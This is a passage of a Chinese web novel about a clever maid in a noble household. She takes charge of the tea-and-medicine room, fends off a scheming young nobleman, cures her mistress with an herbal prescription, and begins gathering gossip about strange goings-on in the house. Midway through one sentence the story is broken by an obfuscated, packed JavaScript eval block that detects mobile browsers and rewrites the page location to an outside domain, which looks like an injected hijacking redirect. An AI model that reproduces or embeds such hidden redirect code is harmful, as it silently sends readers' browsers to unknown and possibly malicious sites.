“凌青,是我差点冤枉了你,实在惭愧。你既为我考虑,不招惹是非,还能如此机敏地破解碧桃的陷害,不如你来接任管事之职如何?” 她这话音一落,立即寂静一片。 渚碧惊声道:“小姐!你在想什么,她一个来了没多久的丫鬟,刚来就出这档事,你怎么能放心让她………” 凌青内心当然已经迫不及待要认领这差事了,但她还是装模作样地跪下来:“请小姐三思,奴婢初来乍到,只会给小姐惹麻烦,奴婢怕担不起这事。” 她担得起啊!她担得起!赶紧把这事确定了吧。 陆沁摆手:“我意已决。凌青,你可愿意?” 凌青连忙跪地叩首:“既然小姐这样信任奴婢,那奴婢谢二小姐信任,定不负所托!” 起身的瞬间,她的目光与一直在旁的那个少年对上。那双桃花眼中似有深意,如春水般波澜不惊,却又暗流涌动。 “楚之,走吧,陪我一同到祖母那么说话吧。”陆沁道。 “好。阿姐,你先去,我有个东西掉了,我先找找,随后就到。 凌青听他这话,总有些不好的预感,想赶紧回茶药间。只是她在人群后头,越不过去。 果然,那少年却不知如何绕到后面了,在她身后轻声道:“姐姐,别来无恙啊,我有话想和你说。” 凌青假装没听见,一个劲地往前涌,只想赶紧甩开他。 “姐姐!”声音又响起,这次更近了一些。 她依旧充耳不闻,只是脚步更快了。 眼看着下人们都走远了,院中只剩下她和后面的催命鬼。凌青心中暗叹,正欲加快脚步,忽然手腕一紧—— 一只修长的手猛地拉住了她。 凌青被迫停下脚步,转身看向少年。那张俊美的脸庞近在咫尺,桃花眼中盛着似笑非笑的神色,看得她心中一阵烦躁。 “公子想说什么。”她声音冷淡,试图抽回自己的手腕,却发现那只手如铁钳般紧紧箍着她,丝毫不松。 “你听到我说话了啊,那你为什么不理我?”少年一脸委屈。 知道不想搭理你还追着问,能不能有点自知之明。 凌青再一次感叹自己为何身份如此卑微,因为她现在很想给这人脸上来一拳,但她不能,她只能硬挤出四个字:“真没听着。” 少年看着她:“好吧,那我不跟你计较了,我只是想和你说一声。” “说一声?”凌青眉头微蹙,警惕地看着他,“我们有什么好说的吗?” 他不语,只是忽然俯身向前,几乎是贴着她的耳畔,温热的气息喷洒在她的耳廓上。凌青浑身一僵,想要后退,却被他牢牢禁锢在原地。 “恭喜你,”他的声音低沉磁性,带着几分危险的魅惑,“如偿所愿。” 四个字,轻飘飘地飘入凌青的耳中,却如惊雷般在她心中炸响。 8. 看破 收起你的那些花花肠子 凌青正一脸麻木的听着红袖唠叨。 “之前几次都没有看真切,今日一看,当真好像天仙下凡一样。”红袖压低声音,却仍忍不住兴奋:“感觉跟他一比,那些男子就只是男子罢了,而他像天人。怎么能这么好看呢。” 凌青翻了个身,有些不耐烦道:“再好看也会吃饭出恭,有什么稀奇的。” “哎呀,你这就不懂了!”红袖急忙解释,"他可不止好看呢,他叫逄楚之,陆府上下没有不认识他的!” 逄楚之? 这个姓氏……… 凌青心内一动:“不会是……那个逄家吧。” “就是那个逄家!当今京城第一大族!”红袖声音更低了些,却难掩激动,“他姑姑是当今太后娘娘,父亲是领侍卫内大臣,母亲虽早逝,但却是清河崔氏的嫡女。你说,这出身贵不贵?” 红袖以为自己说了,凌青会和她一样激动,却没注意到凌青脸色凝重。 “不光出身好,”红袖继续絮叨,“武艺文采也是数一数二,真真是天之骄子!” 天,之,骄,子。 凌青不知道自己内心为何忽然泛起一丝不舒服的感觉,很快她意识到那是嫉妒。 嫉妒如毒蛇一般噬咬着她的心。 她天生低微,出生在那样重男轻女的家庭,还被冠上“天生孤煞”的名号,活得千辛万苦。好不容易赌了一把,终于有了自己的家,自己的归宿,以为能安安稳稳一生,却一夕之间失去了一切。 就连现在,她要报仇都只能变卖家产,跻身入府,从丫鬟开始,一步步想破脑子往上爬。 而逄楚之这样的人,生来就是众星捧月,有最尊贵的出身,最出众的容貌。他只要稍微平易近人一点,温柔一点,就会有无数人夸赞。 若她有这样的身份,帮父亲报仇并找到姐姐将会多么容易。不,若她这么尊贵,她的父亲和姐姐根本就不会出事。 任她万般聪明,万般努力,只要身份低微,稍微踏错一步就有可能被拉出去打死,她凭什么活得这么艰难! 凌青的指甲不由狠狠陷进掌心。 红袖还在说着:“他性子很好的,平日见了我们这些下人,还会一起说说笑笑,一点架子都没有,而且他很是单纯天真的。” 单纯,天真? 这两个词有哪一个和逄楚之沾上一点关系的。 就冲他今日临走时与自己说的那句话,就能看出他心机颇深,好像一切事情都逃不过他的眼睛一样。 凌青内心不屑,不过是惯会装模作样罢了,装也不装的大方一点,一个大男人整天撒娇撒痴的,真是恶心。 这些官宦子弟,最擅长的就是用温柔的假面具糊弄世人,偏这些小丫鬟还都吃他那一套。 凌青表面仍然平静如水,内心早已激愤无比,要不是马上就要熄了烛火,她能坐起来洋洋洒洒写篇长赋抒发心情。 但是平静下来,她又心想:“算了,他到底也没做错什么。我何必像个阴沟里的老鼠一样阴暗、狭窄,在背后揣测别人。反正也不会再和他见第三次面了。” 她翻身面壁,强迫自己入睡。 ——- 可惜,第三次面来的很快很快,快的出乎意料。 本来第二日,凌青的心情是挺好的。 这是她当上茶药间管事的第一天,虽说只是个二等丫鬟,但也是个小管事了,手中有那么点点权力了。 可惜碧桃留下的烂摊子实在是有太多纰漏,她要一个个查明整治,实在是个大功夫。 凌青核对了一天库房账目,忙得焦头烂额,但很充实。现如今不仅要管药,还要管茶,再加上这陆府的规矩多如牛毛,光是茶叶就分了十几种,每样的用途、数量都要记得清清楚楚。 “呼。”她放下账本,揉了揉发酸的脖子,决定出去透透气。 刚到一个寂静无人的廊道里,想歇歇时,她撞上一个人。 “姐姐?” 那道噩梦般的声音让凌青又一次僵住。抬头一看,正是逄楚之那张完美无缺的脸。 冤家路窄什么意思,她现在真是体会的透透的。 “奴婢见过逄公子。”她自认倒霉,拉开距离,老老实实行礼。 “你终于知道我是谁了啊。”他轻笑道。 “奴婢之前有眼不识泰山,请逄公子恕罪。” 逄楚之却忽然上前两步,声音带着几分撒娇的意味:“你是不是在怪我啊?” 凌青蹙眉:“何意?” “昨日的事。”逄楚之垂下眼眸,神色有些委屈,“你被那个丫鬟陷害时,我..….我没有帮你说话。其实我明知你是冤枉的,我只需要出来说一句,我看到那丫鬟埋药了,你自然就清白了。” 凌青无言。 她本就没指望他出来说什么,只是希望他能安静闭嘴。谁知他昨日不仅看戏看得津津有味,还恨不得落井下石,属实有点可恨。 “言重了,”凌青面无表情地敷衍,“奴婢一个丫鬟,怎敢劳烦您费心。” 逄楚之却更加委屈了,那双桃花眼中竟真的蓄起了水光,那叫一个潋滟生光:“可我心里过意不去。我想帮你,但又不知道该怎么帮...我平日了就有些不会说话,昨天想帮你还帮了倒忙...…” 他咬着唇,一副为难的模样,“我也不好直接插手陆府的家事,所以.…..” 凌青看着他这副模样,毫无动容,只想吐。 她平生最恨别人把她当傻子。 昨日他那副看好戏的表情她看得清清楚楚,现在却在这里装什么善良无辜。况且,他一位世家公子低下头来与她一个小小丫鬟低声下气的道歉,他真的是诚心诚意的么? 不,他就是在糊弄她。他表面温柔,心理上还是在以身份逼迫。用这种看似温和的姿态,让她产生荣幸和愧疚感,从而觉得他昨天不过是无心之失,原谅他,甚至对他产生好感。 就这算计,还“天真单纯”呢。 “公子这话说得,奴婢实在是受宠若惊。”凌青面无表情地说道,声音平静得没有一丝波澜,"昨日奴婢被陷害,您在一旁观赏,这不是再正常不过的事吗?奴婢一个下人,能有幸为您提供乐子,应该感激才是。” 逄楚之预想到的场面没有出现,他似乎有些愣住,眼中闪过一丝意外。 “公子不必道歉,”凌青继续用那种毫无情绪波动的声音说道,“奴婢深知自己的身份。一个丫鬟被训斥,是理所应当的,又怎么敢奢望贵客相救?至于公子昨日的神情,奴婢也很能理解——好戏难得一见,公子看得专注些,也 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逄楚之看着她那张平静的脸,忽然笑了。 还是跟之前一样的笑容,但似乎透着点……火气。 “没错,”他那完美无缺的面具似乎裂开了一点,竟然说话有点咬牙的感觉:“你说的一点都没错。” 凌青内心终于愉悦了一点,她知道这人急眼了。 天之骄子的魅力被蔑视,能不急吗。 她可不怕这人能做出什么,他再怎么牛逼哄哄,在陆府也是个外人,他但凡插手,那就得被说僭越。 逄楚之似乎深吸了一口气,但很快脸上又重新浮现那明艳的笑容:“你知道,那晚我第一次见你的时候,我在想什么吗?” 凌青没想到话题转移这么快,有些怔。 “我在想………”他轻声道:“谁家的小姐穿着丫鬟衣服跑出来了,还蹲着哼哧哼哧挖土,看着怪好玩。” 凌青眸光一闪,明白了他的意思。 这是装可怜道歉的路线走不通,改走含情脉脉路线了。 “您真会说笑。”她面无表情:“奴婢生来就是下人,哪有什么小姐气质,您怕是看走眼了。” 说完,她已不想再和他纠缠,福了福身:“奴婢还要回去给小姐煎药,先行告退了。” 逄楚之这次没有说话,只是站在原地看着她离开的背影,眼神中变得有些阴沉。 待凌青离开后,逄楚之的手下来接他回府。 逄楚之这才回过神来,淡淡应了一声,迈步往外走。 走了几步,他突然开口:“听风。” “属下在。” 逄楚之声音带着抱怨:“我今天被一个小丫头蔑视了,我第一次被人怼的没法还嘴。” 听风不敢置信:“能有人的嘴皮子比过您利落?得是什么样的人啊。” “她倒还不是个咋咋唬唬的人,反而冷冰冰的,像个石头一样闷,但是怼人的功夫可厉害了。” 听风有些困惑地看向逄楚之,却见他脸上虽然抱怨委屈,眼神却满含兴味。 “这样聪明的人………可惜了。”逄楚之语气轻柔,眼神却愈发病态的兴奋:“我倒要看看多长时间,才能将这锋芒……慢慢磨平。” 9. 管事 “姐姐,陶嬷嬷来了。”红袖从院子外匆匆跑进来,压低声音道。 凌青放下手中清洗的药材,擦了擦手,迎了出去。 只见陶嬷嬷领着个小姑娘走进院子。这姑娘生的清秀,看着和红袖差不多大,但似乎比红袖大胆多了,一双眼睛滴溜溜地转。 “陶嬷嬷。”凌青上前见礼。 “免了免了。”陶嬷嬷摆摆手,“这是新买进府的丫鬟巧音,二小姐说了,前几日你管事的时候还得忙着煎药,实在是辛苦了,所以特意又要了一个丫头到你这茶药间来帮忙。你通医理,就好好教教她如何煎药。” 巧音很有眼力劲地福了福身子:“见过凌青姐姐,来的时候陶嬷嬷就与我说过姐姐如何能干,之前煎药更是从来不出差错。希望姐姐到时候多教教我,我一定好好学。” 凌青仔细打量了一下巧音,这姑娘虽表面恭敬,嘴巴也甜,但眼神却老带着几分审视。 不过她也明白,新来的丫鬟,总要观望一阵才能知道自己的顶头管事是什么成色。这姑娘倒是比寻常丫鬟机灵了,但目前还看不出有没有什么坏心眼。 若是没有别的心思,那巧音灵活,红袖老实,孙嬷嬷见多识广,这支队伍倒也算是全面了。 “既然来了,先熟悉熟悉环境吧。你跟着我,去茶药间。” 待陶嬷嬷走后,凌青却带着众人去了茶药间后院匝道。 那个当初碧桃逼着她劈柴,堆满东西的杂乱小道。 这次进去,霉腐之气比之前更浓。 杂物和药材东倒西歪,罐子歪七扭八,地上积着厚厚的灰尘,角落里甚至还有老鼠屎。 红袖有些目瞪口呆:“这,这谁弄的啊,怎么脏成这样。” 凌青早就见识过了,所以并不惊讶,淡淡道:“还能有谁。” 孙嬷嬷啐了一口:“碧桃那死丫头片子,成天不干点人事,她现在倒好了,被赶出府了,烂摊子留给我们来收拾!” 凌青自然心里也恨死碧桃,只是新官上任须三把火,她正愁该如何自然而然的施展拳脚,现在想想这个烂摊子就是最好的机会。 巧音在一旁悄悄观察这位比她大不了几岁的管事,见她无论看见什么都面无表情,神色自若,内心越发好奇。 凌青沉声道:“你们也看到这情景了,前两天我忙着整理库房,疏漏了这里。这两天我们要收拾好这匝道,还有前面的茶药间。既然小姐信任我们,我们就一定要做出个样子。”她顿了顿,声音虽轻却透着不容置疑的威严,“从今日起,月露榭茶药间重新立规矩。” 她放慢语速,一字一句道:“其一,茶药间内务必一尘不染,包括后院匝道,谁的活计谁负责,出了差错绝不姑息。其二,药材茶叶分门别类,标识清楚,半点马虎不得。其三,月末考核,我会掏出自己月前的一部分作为奖赏,做得好的自然有赏,做得差的扣月钱。其四,大家齐心协力干得好,那我绝不会独揽功劳,我们是一个群体,我会把咱们所有人的努力如实禀告给小姐。” 说完,周围安静,她开始打量每一个人的反应。 大家都有些愣住,但很快反应过来。 红袖一脸激动,眼睛亮亮的。 孙嬷嬷也欣慰点头:“不错,不立规矩,不成方圆。我老婆子一定照做。” 巧音笑了笑,内心却想:说得的确好听,就是不知道她能不能自己做到。 凌青一眼看出她的想法,但没说什么。 “姐姐,我们都听您的!”红袖表态。 “好。”凌青对她微微一笑:“那就开始吧。红袖,你去打水。孙嬷嬷,辛苦您看看这里的东西哪些能用,不用的就扔了。巧音……” 她看向这个新来的丫头:“辛苦你了,同我一起打扫吧。” 巧音一愣,总觉得这个凌青的眼神有些锐利,不敢再想什么,乖乖应了声是。 这一整治,便是整治了三日。 不仅后院匝道全部清理出来了,就是茶药间也完全大换样。 药材完全分门别类,按照每日要用的规整整齐。茶叶根据等级妥善保管,务必保证煎茶煎药时不会手忙脚乱。地面打扫的能照出人影,现在的茶药间才真正是完全收拾妥当。 巧音态度也变得越来越认真。她前两日还有些不以为然,觉得这凌青立规矩给她们,不过是做做样子,她自己是万万遵守不了的。可谁成想,这几日干活她都亲自上,干的比他们还要多。 她还真有些对凌青刮目相看了,这人话不多,做事雷厉风行,且一视同仁,也不摆架子,有这样的管事,以后做活会少很多麻烦。 一切收拾妥当后,凌青正要兑现承诺发赏银,忽听院中传来急促的脚步声。 “凌青!”来的是陆沁身边的谷翠,她没了往日的稳重,喘着粗气,显然是跑着过来的:“快,快,煎点药,小姐晕过去了!” “什么?!”红袖惊声道。 谷翠急的不行:“小姐今日来月事,白天就说自己浑身发冷,刚才忽然说自己全身疼得厉害,满头大汗,现在昏沉沉的怎么也叫不醒!” 孙嬷嬷脸色大变:“那还不快点去请大夫,开了药方我们才好赶紧煎药!” “老夫人、老爷、夫人带着府里的张大夫上山上香去了,要明日才回!”谷翠急得眼泪在眼眶里打转,“府里还有个李大夫,可三小姐那边说自己不舒服,硬是把李大夫扣着不放!陶嬷嬷已经出去找郎中了,可这大晚上的,哪里找得到?” 孙嬷嬷大怒:“岂有此理!这三小姐真是反了,老夫人和主母不在,竟由她在府里一手遮天了!偌大一个陆府,竟连一个给家中小姐看病的郎中都找不到,任由嫡女自生自灭,这是要逼死咱们二小姐吗?” 红袖也慌了神:“现在二小姐的病耽误不起,但是我们只会煎茶煎药,哪知道如何治病……” 忽然,她好像想起了什么,眼睛一亮:“不对,有凌青姐姐!” 谷翠茫然地看向凌青。 凌青听明白了事情经过,放下手中的东西,沉声道:“带我去看看小姐。” “你,你可以吗,你,懂医术?” 凌青没有回答,只是说:“先带我去看看。” 谷翠如抓住救命稻草,连忙在前引路。 月露榭的正房里,陆沁面色苍白如纸,紧闭双眼躺在床榻上,额头和鬓角都是细密的汗珠,整个人显得虚弱不堪。 渚碧守在床边,见凌青进来,眼中闪过一丝惊讶,紧接着就是不悦:“你来做什么?碍手碍脚的!谷翠,你把她叫来做甚!” 凌青没有理会她的刁难,径直走到床榻前,仔细打量着陆沁的状况。只见她呼吸急促,面色青白,手脚冰凉,显然是气血不足,寒邪内侵。 “让开。”凌青淡淡开口。 “你算什么东西,也敢来指挥我?”渚碧还想阻拦。 谷翠急了:“渚碧!都什么时候了!让凌青试试吧!” 凌青也不多言,一把推开渚碧,直接坐到床边,伸手搭上陆沁的脉门。 渚碧还不依不饶:“你敢碰小姐!你………” “闭嘴!”凌青直接冷喝一声。 片刻后,她眉头微蹙,心中已有了判断。陆沁这是典型的气血虚弱,月事期间受了风寒,导致经血不畅,腹痛难忍而昏厥。 她起身走到桌案前,提笔写下一个方子:当归、川芎、白芍、熟地黄、党参、白术、茯苓、甘草、干姜、肉桂。 凌青抬头对谷翠道:“这是我开的方子,若你相信我,我现在就去煎药,只是此事有一定风险,若是失败,你我都逃不过谋害主子的罪名。” 谷翠愣了愣,但很快就坚定道:“凌青,你素日表现,我都看在眼里,我相信你能救小姐。只是,这药材茶药间是否都备有?” “有。”凌青点头,“我亲自去煎。” 回到茶药间,凌青拿着方子开始抓药。红袖在一旁帮忙,忽然脸色一红:“姐姐,我,我这两日光顾着重新摆放药材,还没来得及写标识……” 巧音也着急了:“那现在怎么办?这么多药材,一个个找要找到什么时候?” 凌青没什么反应,只是缓步走到药材柜前,目光在那些整齐摆放的药材上一扫。 这几日来,她虽然忙着大大小小的事,红袖整理药材时,她都在旁边看着。但每搬动一味药材,每整理一个位置,她都牢牢记在脑海。 再红袖和巧音茫然的眼光中,只见她动作迅速,丝毫不用思索,先从第一个柜子取出当归,接着是第三个柜子的川芎,第五个柜子的白芍……每一味药材都准确无误,仿佛她能透过柜子看到里面的药材似的。 红袖看得目瞪口呆:“姐姐,你都记得?” 过目不忘罢了,得亏她有点天赋,再加上以前父亲教她读书背书,书都背得一字不差,更何况这区区药材顺序。只是短短一瞬,已经将十味药材全部抓齐。 她亲自动手煎药,火候、时间都拿捏得恰到好处。不到半个时辰,一碗热气腾腾的汤药便煎好了。 凌青刚想将药交给谷翠,但转念一想,忽然停住了。 她虽荣升为管事丫鬟,但在陆沁面前也只是露过几次脸,在陆沁心里肯定也留不下什么深刻印象。 但此时自己若是出现在陆沁身旁,那就不一样了。以陆沁的性格,定会极为感动。 于是她亲自端着药去了主屋,轻声唤道:“小姐?” 陆沁缓缓睁开眼睛,虚弱地看着眼前的人:“是你……凌青。” “小姐,药来了。”凌青坐到床边,一勺一勺地喂她喝药。 汤药入腹,陆沁很快感到腹中的疼痛减轻了许多,脸色也渐渐红润起来。不到一刻钟,她已经能够坐起身来。 “好多了。”陆沁长舒一口气,渐渐缓了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956625|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 凌青刚放下药碗,就忽然被进来的渚碧一下子撞到一边,直接膝盖磕到一旁的架子上,疼的她眉头微蹙,但还是没说什么。 “小姐!你醒了!”渚碧一脸激动,凑到陆沁床前。 谷翠也欣喜:“小姐终于缓过来了!幸好有凌青,她给您把脉煎的药,要不是她,小姐还不知要受多少罪。” 陆沁闻言,抬起清澈温柔的眸子,看着凌青,漏出一个虚弱的微笑:“凌青,你救了我。” 渚碧却在旁冷笑一声:“小姐,她的药方虽管用,但到底只是个管事丫鬟,私自开药就是于理不合。” 正在此时,陶嬷嬷风风火火地赶了回来,身后还跟着一个老郎中。 “小姐怎么样了?”陶嬷嬷一进门就急切地问道。 “嬷嬷,小姐已经好多了。”谷翠连忙迎上去,“是凌青开的方子,小姐喝了药就舒服了。” 陶嬷嬷一愣,看向正在收拾药碗的凌青,眼中满是惊讶:“凌青,我知你懂点医理,却没想到你竟如此精通。” 凌青:“略懂一二罢了。” 老郎中也凑过来看了看陆沁的气色,又瞧了瞧桌上的药方,不由点头称赞:“这方子开得好!用药精准,君臣佐使配伍得当,确实是治女子虚寒腹痛的良方。小娘子年纪轻轻,医术却是精湛。” 陆沁闻言,看向凌青的眼神更加深邃了几分。 “凌青,”她再一次笑了:“真的谢谢你。” 回去路上,凌青一直在沉思。 这个陆沁………感觉还真挺善良的。 她一直以为这样的高门大户家的贵女,能在内宅生存,必然是有足够的手段和狠心。 但这陆沁,当真是如仙女一般不食人间烟火,温柔慈悲,泛爱众,而亲仁,有一颗君子之心。 同样是作为主子与下人交谈,陆沁的感谢就让她有些动容,因为她能感受到真情实意。而那位逄楚之对她的道歉,只会让她觉得虚伪和恶心。 若全是装的,那这位二小姐演技也太好了。若不是装的……… 那好的也太不真实了,她真得很难相信,这世上有这般美好纯粹之人。 回到茶药间,其他人都等着她。 红袖眼中尽是崇拜:“姐姐,你真的太厉害了,先前治好了我娘,现如今又治好了二小姐。” 就连巧音,此时也彻底服了,恭恭敬敬地道:“凌青姐姐,我之前有眼不识泰山,态度怠慢了一点,请你原谅。” 凌青看着三人的神情,露出一个极淡的笑容。今夜这一出,不仅在陆沁面前得了脸,更是彻底收服了茶药间的人心。果然,实力是一切的根基,只有她足够强,才能让所有人心甘情愿地敬服她。 “功劳不是我一个人的,而是属于我们茶药间上下,没有你们,我一个人也做不成事。”她从袖中取出早已准备好的赏银,一一分发给三人,“这几日大家都辛苦了,这是应得的。” 大家都愣住了,显然没想到竟然真的会有赏银。 孙嬷嬷最先反应过来,捧场的接过银子,笑得眼睛都眯成了一条缝,夸张道:“哎呀,还是凌青丫头懂我。这么多银子,够我买好些日子的胭脂了,看来我这把老骨头还能美几年。” 巧音忍不住咯咯笑道:“嬷嬷,您这年纪还要胭脂做甚,倒不如给我,我正愁没钱买新头花呢!” “你个死丫头,敢抢我的银子!”孙嬷嬷故作恼怒地捣了巧音的肩膀一拳,“老婆子我年纪大了就不能涂脂抹粉了?” 而红袖接过银子,一脸敬仰,恨不得当场落泪:“这,是我第一次拿这么多赏银!我定要将它供在我的床头!” “那你最好许个愿……希望它能自己钱生钱,不断生崽,生下一堆小钱崽子……”凌青忽然在旁出声,一本正经。 一片寂静过后,就是哄堂大笑。一开始只是巧音笑,后来这笑声此起彼伏,连成一片,连凌青自己都忍不住勾了勾唇角。 “姐姐!你居然也会说笑!”红袖惊了:“不过这笑话……冷飕飕的。” 孙嬷嬷笑着摇头:“凌青就是跟你们学坏了,你们几个小妮子,都不正经。” “嬷嬷说我们,您自己不还要买胭脂水粉扮年轻!”巧音和红袖异口同声地反驳。 话音刚落,几人又是一阵大笑,笑得前仰后合。巧音笑得眼泪都出来了,红袖捂着肚子直不起腰。 “咳——”远处传来院子里值夜嬷嬷的咳嗽声,几人立刻意识到声音太大了。 几人赶紧捂着嘴,憋得脸都红了,却还是有细碎的笑声从指缝里漏出来。 在这小小的茶药间,女子们压低的笑声此起彼伏,连带着夜风吹在身上都有一丝暖意。 凌青看着眼前的景象,忍不住默许自己放空一切。 这一刻,没有勾心,没有算计,只有徐徐吹来的夜风。她尽情享受着,这片刻的欢愉。 10. 疑云 夜色渐深,凌青独坐在茶药间的小室内,昏暗的烛火摇曳,将她清冷的侧脸映得忽明忽暗。 这几日的努力没有白费,她在茶药间的地位已经彻底稳固。底下人相处融洽,且都是干实事的。陆沁也对她另眼相看,她身边的谷翠与陶嬷嬷都很是看重她。 至于那个渚碧………虽然不知道她为什么从一开始就看自己不顺眼,但无所谓了,她总不能要求所有人都喜欢她。 她放下笔,轻抚着桌案上整齐摆放的药材清单,再回头看看收拾妥当的茶药间。 一切都收拾的差不多了。 新官上任三把火,她这三把火真是烧的妙极了。她这么做的目的,可不单单是干出成绩向上爬,主要是为了打好根基,这样她才能心无旁骛地开始自己真正要做的事。 想到这,她不由攥紧了手中的纸。 姐姐……… 烛光的火晕在她低垂的眼眸间投出晃动的暗影。那光沉在最深处,似乎凝成了两汪深不见底的寒潭。 悲伤?或许是,但这伤痛早已被更厚重的东西压得密不透风,沉甸甸地坠在那里,透不出一丝泪光了。 “你放心,我从来没有一刻忘记过我要做什么……我所做的一切,全都是为了………” “找到你。” 她眼睫极轻微一颤。那沉在眼底的寒潭深处,骤然蹿起一簇东西,不是泪光,是火。 冰冷、坚硬、带着焚尽一切的决绝,将仅有的悲伤也灼烧成灰。 悲伤是弱者的借口,而她已经没有时间去怀念从前了。 她要赶紧想一想,接下来具体该如何做。 凌青缓缓起身,走到窗边。夜风吹过,带来月露榭的阵阵花香。她思索片刻,心中瞬间了计较。 要查清真相,首先得摸清楚府中的人。这些日子的观察下来,她发现一个极有用的人——陆府总库房的凝儿。 凝儿并不是库房的管事,只是一个取用登记的丫头。但她特别就特别在,她很爱听闲话。 听闲话就罢了,她这人嘴巴还松,什么风吹草动都要传个遍。陆府里的大小事情,十有八九都是从她嘴里流传开去的。 偏偏她母亲是老夫人跟前伺候的嬷嬷,在府中颇有些地位,因此大家也都不嫌她嘴碎,还愿意与她说些体己话。 这样的人,真是打探府里消息的最佳人选。 ————— 次日,凌青提着药篮往库房走去。 她走得不急不慢,步子很轻,仿佛只是例行公事般去取些药材。 “凌青妹妹!” 还未到库房门口,凝儿的声音便从廊下传来。她正抱着一摞布料往回走,见了凌青,眼中明显闪过一丝兴奋。 凌青停下脚步,面上露出恰到好处的微笑:“凝儿姐姐,这么巧。” “可不是吗!”凝儿快步走了过来,“我正想着什么时候能遇见妹妹呢。听说你如今可是了不得了,才当上管事,就把茶药间管理得井井有条,二小姐赞你办事得力,连陶嬷嬷都到处夸你。” 凌青装作不好意思,惶恐道:“啊………这分内之事,没什么好夸的,怎么还传的大家都知道了………” “自然是因为老夫人回来后,发了好大脾气。”凝儿忽然降低语调,四处瞅了瞅,然后快速拉着凌青走到偏僻地方。 “二小姐上次生病找不着大夫那事,府里都闹开了,老夫人过来听到了,直接大发雷霆,对三小姐动了家法,还罚她跪祠堂。夫人也恼了,说老夫人罚得好,她也不管了,非得让三小姐吃个教训不可。” “二小姐替三小姐求情,就说起有你在,她并无大碍。这不大家就都知道了,月露榭茶药间的管事丫鬟医术高又忠心。” 凌青自动忽略掉那些夸赞自己的话,只想着陆沁和陆皎。 她当初只觉得陆皎蠢笨无礼,经此一事,她发现此人就是单纯的坏,坏透了气那种。能想着扣下府医逼死自己长姐的人,那得是什么样的歹毒心肠。 只是她没想到,陆沁竟然还替陆皎求情? 这得是什么样的菩萨心,才能做到这番境地啊,简直不像个正常人。在她看来,陆沁这样善良的过了头那也是蠢。 若她是陆沁,就算不能让陆皎死,也得生生剥掉她一层皮。 凌青道:“姐姐过誉了,我也只是仗着之前跟着药铺老大夫学过,二小姐的症状和以前碰上的一例有些像,我便仿照那个药方煎了药,谁知竟正好治好了二小姐,这可不是我的本事,跟姐姐这样有阅历的可比不了。” 这话说得凝儿心花怒放,她就喜欢这般不张扬的人,当即亲热地拉住凌青的胳膊:“妹妹真是会说话!我这人也就见得多了些,哪里比得上妹妹天生伶俐。” 凌青任由她拉着,两个人挎着胳膊,一副亲热的样子,跟好姐妹似的。 凌青轻笑道,眼中闪过一丝说不清的心思:“说起来,我平日里一个人待在茶药间,闷得很。听下面的丫鬟们说,姐姐最是有趣,知道许多稀奇古怪的故事。我这人最爱听故事了,姐姐以后可得多跟我聊聊,解解我的闷啊。” “真的?”凝儿瞬间更兴奋了:“我看你文文静静的,以为你不爱听这些八卦呢。你爱听就好,我这人就爱与人说话,平日里憋着这些事情,正不知道跟谁分享呢。” 凌青适时地捧场,装出一副十分感兴趣的样子:“那可太好了,我们一个愿意讲,一个愿意听。姐姐快告诉我,咱们府里有没有故事?” 凝儿再次神秘兮兮地环顾四周,确认无人后压低声音,“妹妹想听什么样的?” “什么都行,”凌青微微勾起唇角,“越稀奇越好,最好是那种听了让人………毛骨悚然的。” 凝儿有些惊讶,又仔细端详了凌青那瘦的要命的身板:“天啊,你这么柔柔弱弱,没想到胆子这么大,口味这么重。好吧,那我可就不客气了。这故事我轻易不跟别人讲,保准你听了能吓得睡不着觉。” 她凑近了些,声音压得更低:“妹妹可听说过咱们府里的枯井?” “哦?” “就在后花园最深处,早就不用了,上面还盖着石板。”凝儿压低声音,神色逐渐变得诡异起来,“前些年有个小丫鬟不小心掉了下去,等人发现时,她已经疯了。嘴里只会念叨一句话——” “她在下面看着我,她在下面等着我。” 就这,哪吓人了。 但凌青还是装作被吓到的样子,声音颤抖:“那……后来呢?” “后来那丫鬟被送回家去了,可没过几天就死了。死的时候眼睛瞪得老大,像是看见了什么极恐怖的东西。她死之前反复念叨着,有人在等她,她要去找那个人。”凝儿的声音越发瘆人,“更邪门的是,从那以后,每逢阴雨天,就有人听见井下传来女子的哭声,凄凄惨惨的,听得人汗毛都竖起来。有胆大的偷偷掀开石板往下看,说是能正巧对上井底的一双眼睛,只有眼白,没有一点眼黑……” 凌青不得不夸赞一句,这凝儿实属是个讲鬼故事的好手。故事内容老套无趣,但被她那阴森森的语气一讲,还真觉得氛围瞬间诡异起来了。 她装作害怕地捂着胸口:“天啊,姐姐别说了,怪吓人的。” “哈哈,妹妹胆子小,我就不吓你了。”凝儿得意地笑了笑,忽然想起什么,神色变得严肃起来,“不过说起怪事,最近府里确实发生了些让人摸不着头脑的事情,比那些鬼神之事还要奇怪。” “什么事?”凌青顺势问道,她隐隐觉得自己要打探到关键之处了。 “其实也没什么,但我就是觉得挺不对劲。前段时间白姨娘身边的翠烟来库房领东西,你猜领了什么?” “什么?” “石灰!”凝儿压低声音,“她说是要修厢房用的。我当时没觉得有什么奇怪,便给了。可是后来………” 她顿了顿,神色变得困惑:“我后来打听了一下,根本没听说他们院子要修什么厢房,也没见过泥瓦匠进府。而且那翠烟领的石灰,足足有好几袋呢,修个小厢房哪里用得了那么多?” 石灰………是修茸房屋要用的东西,但以她了解,这也是……… 防腐的好东西。 凌青神色有些凝重,她有些不敢往那个方向去想。 “哦对了,”凝儿忽然又想起什么,“还有件事也怪得很。月底盘库的时候,发现少了一只步摇。” 凌青回过神来:“步摇?” “可不是一般的步摇,那是前朝传下来的宝贝,金丝编成牡丹花样,上面镶嵌着南海珍珠,很是珍贵。平日里锁在库房最里面的匣子里。谁知道怎么就不见了。” 凌青蹙起眉:“后来找到了吗?” “找到是找到了,可惜...…”凝儿叹了口气,“在库房外头的角落里找到的,珍珠都脱落了,金丝也扭曲得不像样子。那么好的宝贝,就这么糟践了。这事也不知道是谁做的,只能将当天看守的人打一顿赶出去才算了事。” 她说着摇头不已,显然为看守之人的遭遇感到惋惜。 